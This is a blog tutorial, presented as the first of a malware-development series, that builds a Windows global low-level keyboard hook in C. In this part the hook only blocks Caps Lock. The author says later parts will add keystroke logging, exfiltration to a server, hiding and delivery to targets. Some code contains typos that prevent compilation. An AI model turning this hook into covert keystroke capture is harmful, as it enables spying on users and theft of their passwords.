Post

Malware Development: Writing a Keylogger in C

This tutorial explores malware development fundamentals by implementing a basic keylogger in C for educational and research purposes.

Malware Development: Writing a Keylogger in C

Disclaimer: The content of this article is provided strictly for educational and informational purposes only. It is intended to promote awareness, learning, and ethical cybersecurity practices. Any misuse of the techniques or concepts described herein for unauthorized access, monitoring, or exploitation is illegal and unethical. The author does not condone, support, or take responsibility for any unlawful or harmful actions taken based on this material. Readers are solely responsible for ensuring that their activities comply with all applicable laws and regulations.

Welcome, reader. In today’s blog, I will teach how to write a keylogger in C. This will be a series of blogs from writing malware to delivering it, and much more. Please follow to receive my new release and don’t miss out on this valuable series.

Overview of This Blog

We will write a keylogger in C for Windows. I will be using Linux for compiling and writing the program. The malicious program will capture our keystrokes and block our keys from reaching the system. I will not only give you a code, but I will also explain how it works, so you understand how the code actually functions and can learn from it, ultimately creating something on your own.

What is Malware?

Malware is short for “malicious software,” which is any program designed to harm, disrupt, or gain unauthorized access to a computer system, network, or user data. It can steal sensitive information, damage devices, or take control of a system to launch other attacks. Common examples include viruses, spyware, ransomware, and Trojans.

What is a KeyLogger?

A computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information.

Why are we writing in C?

C is the closest and most accessible way to interact with the computer on its lowest level, besides Assembly. Writing malware in C allows us to do exactly what we want. Malware written in C is a lot smaller compared with higher-level languages like Python. This is relevant because you want to transfer malware over channels without making too much noise. Read More

Lab Setup

We will need to install MinGW on our Linux (Ubuntu) environment. It can be downloaded for windows from here and then add it to environment variables. I’ll be using Linux.

1
sudo apt update && sudo apt install mingw-w64

Here Comes our Key Logger

I will explain all the code in chunks, then we will run it and mess around. Starting with:

What Libraries are we using?

For now, we are only using two libraries.

1
2
#include <windows.h>
#include <stdio.h>

Windows.h give our program with access to the declarations and definitions for the Windows API (WinAPI), allowing it to call functions that interact directly with the Windows operating system.

stdio.h imports the standard input and output functions, macros, and variables declared in that file available for your program to use like printf.

Essential Terms Before We Code

Before we dive into the code, let’s establish a few key concepts. Think of these as the building blocks we’ll use.

1
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);

WH_KEYBOARD & WH_KEYBOARD_LL

The WH_KEYBOARD & WH_KEYBOARD_LL both are hooks and monitor keyboard events. The different between both is WH_KEYBOARD monitors events at higher level which mean it monitors events within an application such as remapping keys or implementing custom shortcuts.

Wherease WH_KEYBOARD_LL works at a much lower level which allows us to intercept the key events before it reaches the system. This also allows us to detect background key presses, which makes it ideal for keylogging.

SetWindowsHookEx (Setting Up The Hook)

The [SetWindowsHookEx](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw) API installs a hook procedure. There are following parameters that we need to pass to this API.

1
2
3
4
5
6
HHOOK SetWindowsHookExW(
  [in] int       idHook, //Specifies the type of hook procedure to install (e.g., WH_KEYBOARD_LL for low-level keyboard hooks, WH_MOUSE_LL for low-level mouse hooks).
  [in] HOOKPROC  lpfn, // A pointer to the hook procedure function, which will be called when the specified event occurs.
  [in] HINSTANCE hmod, // A handle to the DLL containing the hook procedure. If the hook procedure is within the calling process, this can be NULL.
  [in] DWORD     dwThreadId // The identifier of the thread to associate the hook with. If this is 0, the hook is in
);

Our SetWindowsHookEx API code will look like this. I wrote a few lines to verify if the hook is being installed or not.

1
2
3
4
5
6
7
8
9
10
// Hook handle
HHOOK hHook;
// Install the low-level keyboard hook
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
if (hHook == NULL) {
    printf("Failed to install hook! Error: %lu\n", GetLastError());
    return 1;
} else {
    rintf("Hook installed successfully! Press ESC to exit.\n");
}
  • WH_KEYBOARD_LL tells Windows to install a low-level keyboard hook.
  • KeyboardLLProc is your callback function.
  • NULL for hMod means “hook is in the same process.”
  • 0 means “apply system-wide” (not just a single thread).

Capturing Key Inputs

Windows places events in a message queue: When a user clicks a mouse, presses a key, or moves a window, Windows puts a “message” describing that event into a queue, a virtual waiting room for events.

1
2
3
4
5
6
MSG msg;
// Message loop to keep the hook running
while (GetMessage(&msg, NULL, 0, 0)) {
    TranslateMessage(&msg);
    DispatchMessage(&msg);
}

[**GetMessage**](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getmessage)**()** captures it from there: Our program’s message loop calls GetMessage() which waits for and retrieves the next message from that queue.

**TranslateMessage()** translates keyboard input: After capturing a keyboard-related message, TranslateMessage() processes it to create a character message (WM_CHAR), making it easier for our program to handle text.

**DispatchMessage()** sends it to the window: Finally, DispatchMessage() sends the processed message to the specific function (called the “window procedure”) that our program wrote to handle that window’s events.

Getting Our Hands Dirty

Now that we have installed the hook and are listening for the events, we will now write our callback function. Window calls that automatically whenever a keyboard event happens anywhere in the system. This is how it looks:

1
2
3
4
5
6
7
8
9
10
11
12
13
// Hook callback function
LRESULT CALLBACK KeyboardLLProc(int nCode, WPARAM wParam, LPARAM lParam) {
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
    if (nCode == HC_ACTION) {
        // Check if a key was pressed down
        if (wParam == WM_KEYDOWN && p->vkCode == VK_CAPITAL) {
            printf("Caps Lock disabled!\n");
            return 1; // Block the key
        }
    }
    // Pass unhandled events to next hook
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
  • LRESULT Return type used by Windows message/hook functions.
  • CALLBACK A Windows calling convention macro (usually __stdcall) tells the compiler how the function should receive parameters when Windows calls it.
  • KeyboardLLProc Our function name (you can name it anything).
  • The parameter nCode Tells what kind of hook event this is. If it’s HC_ACTION, then it’s a real keyboard event we should process.
  • wParam Describes the keyboard message type. [WM_KEYDOW](https://learn.microsoft.com/en-us/windows/win32/inputdev/wm-keydown) means a key has just been pressed down. [WM_KEYUP](https://learn.microsoft.com/en-us/windows/win32/inputdev/wm-keyup) means a key has just been released.
  • lParam Pointer to a [KBDLLHOOKSTRUCT](https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-kbdllhookstruct) structure containing detailed info about the key event (which key, scan code, etc.).
  • KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam; Converts the lParam pointer into a KBDLLHOOKSTRUCT pointer so you can access its fields like p->vkCode and [VK_CAPITAL](https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes) is the constant key that represents the Caps Lock key.
  • return CallNextHookEx(NULL, nCode, wParam, lParam); If it wasn’t Caps Lock (or we didn’t handle it), we must pass it to the next hook in the chain. If you don’t do this, you could break other hooks or prevent normal key behavior.

Assembling The Pieces Together

We have our first program complete, it’s time to run it and test if it blocks our Caps Lock or not. Let’s compile our code first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <windows.h>
#include <stdio.h>
// Global hook handle
HHOOK hHook;
// Hook callback function
LRESULT CALLBACK KeyboardLLProc(int nCode, WPARAM wParam, LPARAM lParam) {
    KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *)lParam;
    if (nCode == HC_ACTION) {
        // Check if a key was pressed down
        if (wParam == WM_KEYDOWN && p->vkCode == VK_CAPITAL) {
            printf("Caps Lock disabled!\n");
            return 1; // Block the key
        }
    }
    // Pass unhandled events to next hook
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Entry point
int main() {
    MSG msg;
    // Install the low-level keyboard hook
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardLLProc, NULL, 0);
    if (hHook == NULL) {
        printf("Failed to install hook! Error: %lu\n", GetLastError());
        return 1;
    } else {
        printf("Hook installed successfully! Press ESC to exit.\n");
    }
    // Message loop to keep the hook running
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    Uninstall hook before exiting
    UnhookWindowsHookEx(hHook);
    printf("Hook removed. Exiting...\n");
    return 0;
}

Use the following command on Linux to compile it for windows.

1
x86_64-w64-mingw32-gcc {filenme}.c -o {exename}.exe

I executed the program and tried pressing Caps Lock and our program blocked it.

Caps Lock Blocked

We can change the code to make it do anything.

I know it’s not an actual keylogger, but I had to build a solid foundation by starting small. We will dive deep into logging all the keys and storing them, or sending them to a server. We will then learn to hide it and how to deliver it to target systems during red team engagements. Once done with the keylogger, we will learn to make a backdoor… there’s a lot of fun content ahead, so don’t forget to follow.

This post is licensed under CC BY 4.0 by the author.